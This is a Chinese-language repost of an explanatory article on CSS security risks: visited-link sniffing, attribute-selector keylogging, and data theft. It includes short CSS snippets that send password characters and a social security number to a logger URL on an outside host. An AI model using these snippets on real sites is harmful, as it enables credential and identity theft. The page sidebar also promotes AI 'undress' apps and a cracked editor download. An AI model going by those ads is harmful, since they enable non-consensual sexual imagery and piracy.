不必驚慌! CSS本身並非主要的重大安全隱患,大多數情況下無需過度擔憂。
然而,一些文章會討論CSS潛在的令人意外甚至擔憂的功能。讓我們來總結一下:
訪問過的鏈接問題
該問題描述如下:
- 網站上有一個指向特定頁面的鏈接,例如Tickle Pigs 。
- 你使用
:visited
樣式設置訪問過的鏈接顏色,例如a:visited { color: pink; }
,這並非默認的用戶代理樣式。 - 你測試該鏈接的計算樣式。
- 如果顏色為粉色,則表明該用戶訪問過該頁面。
- 你將此信息報告給某個服務器,並據此進行某些操作(例如提高保險費率)。
你甚至可能完全使用CSS實現此目的,因為:visited
樣式可能包含background-image: url(/data-logger/tickle.php);
,只有訪問過該頁面的用戶才會請求該圖片。
不必擔心!瀏覽器已經阻止了這種攻擊方式。
鍵盤記錄器
該問題描述如下:
- 頁面上有一個輸入框,可能是密碼輸入框。
- 你將一個記錄腳本作為輸入框的背景圖片,並添加大量選擇器來收集密碼信息。
input[value^="a"] { background: url(logger.php?v=a); }
這並不容易實現。輸入框的value
屬性不會因為用戶輸入而立即改變。但在React等框架中,有時會發生這種情況。因此,理論上,如果將此CSS添加到使用React構建的登錄頁面,則此CSS鍵盤記錄器可能有效。
但是,在這種情況下,頁面上已經執行了JavaScript代碼。對於此類攻擊,JavaScript比CSS危險得多。 JavaScript鍵盤記錄器只需幾行代碼即可監控按鍵事件並通過Ajax進行報告。
內容安全策略(CSP) 可以阻止第三方和XSS注入的內聯JavaScript……當然也可以阻止CSS。
數據竊取
該問題描述如下:
- 如果我能將惡意CSS添加到你已登錄的網站頁面……
- 並且該網站顯示敏感信息,例如社會安全號碼(SSN),預先填充在表單中……
- 我可以用屬性選擇器來獲取它。
input#ssn[value="123-45-6789"] { background: url(https://secret-site.com/logger.php?ssn=123-45-6789); }
通過大量選擇器,你可以覆蓋所有可能性!
內聯樣式塊問題
我不確定是否應該將此歸咎於CSS,但想像一下:
... 插入一些用戶生成的內容...
也許你允許用戶自定義一些CSS。這是一個攻擊向量,因為他們可以關閉樣式標籤,打開腳本標籤,並編寫惡意的JavaScript代碼。
肯定還有更多
想到了嗎?分享出來吧。
我對CSS安全漏洞的恐懼程度持懷疑態度。我不想過分輕描淡寫安全問題(尤其是第三方問題),因為我不是專家,安全至關重要。但與此同時,我從未聽說過CSS成為除思想實驗之外的任何攻擊載體。請教教我!
以上是CSS安全漏洞的詳細內容。更多資訊請關注PHP中文網其他相關文章!

對於Astro,我們可以在構建過程中生成大部分網站,但是有一小部分服務器端代碼可以使用Fuse.js之類的搜索功能來處理搜索功能。在此演示中,我們將使用保險絲搜索一組個人“書籤”


熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

Video Face Swap
使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

熱工具

SublimeText3 Mac版
神級程式碼編輯軟體(SublimeText3)

Safe Exam Browser
Safe Exam Browser是一個安全的瀏覽器環境,安全地進行線上考試。該軟體將任何電腦變成一個安全的工作站。它控制對任何實用工具的訪問,並防止學生使用未經授權的資源。

Atom編輯器mac版下載
最受歡迎的的開源編輯器

EditPlus 中文破解版
體積小,語法高亮,不支援程式碼提示功能

SecLists
SecLists是最終安全測試人員的伙伴。它是一個包含各種類型清單的集合,這些清單在安全評估過程中經常使用,而且都在一個地方。 SecLists透過方便地提供安全測試人員可能需要的所有列表,幫助提高安全測試的效率和生產力。清單類型包括使用者名稱、密碼、URL、模糊測試有效載荷、敏感資料模式、Web shell等等。測試人員只需將此儲存庫拉到新的測試機上,他就可以存取所需的每種類型的清單。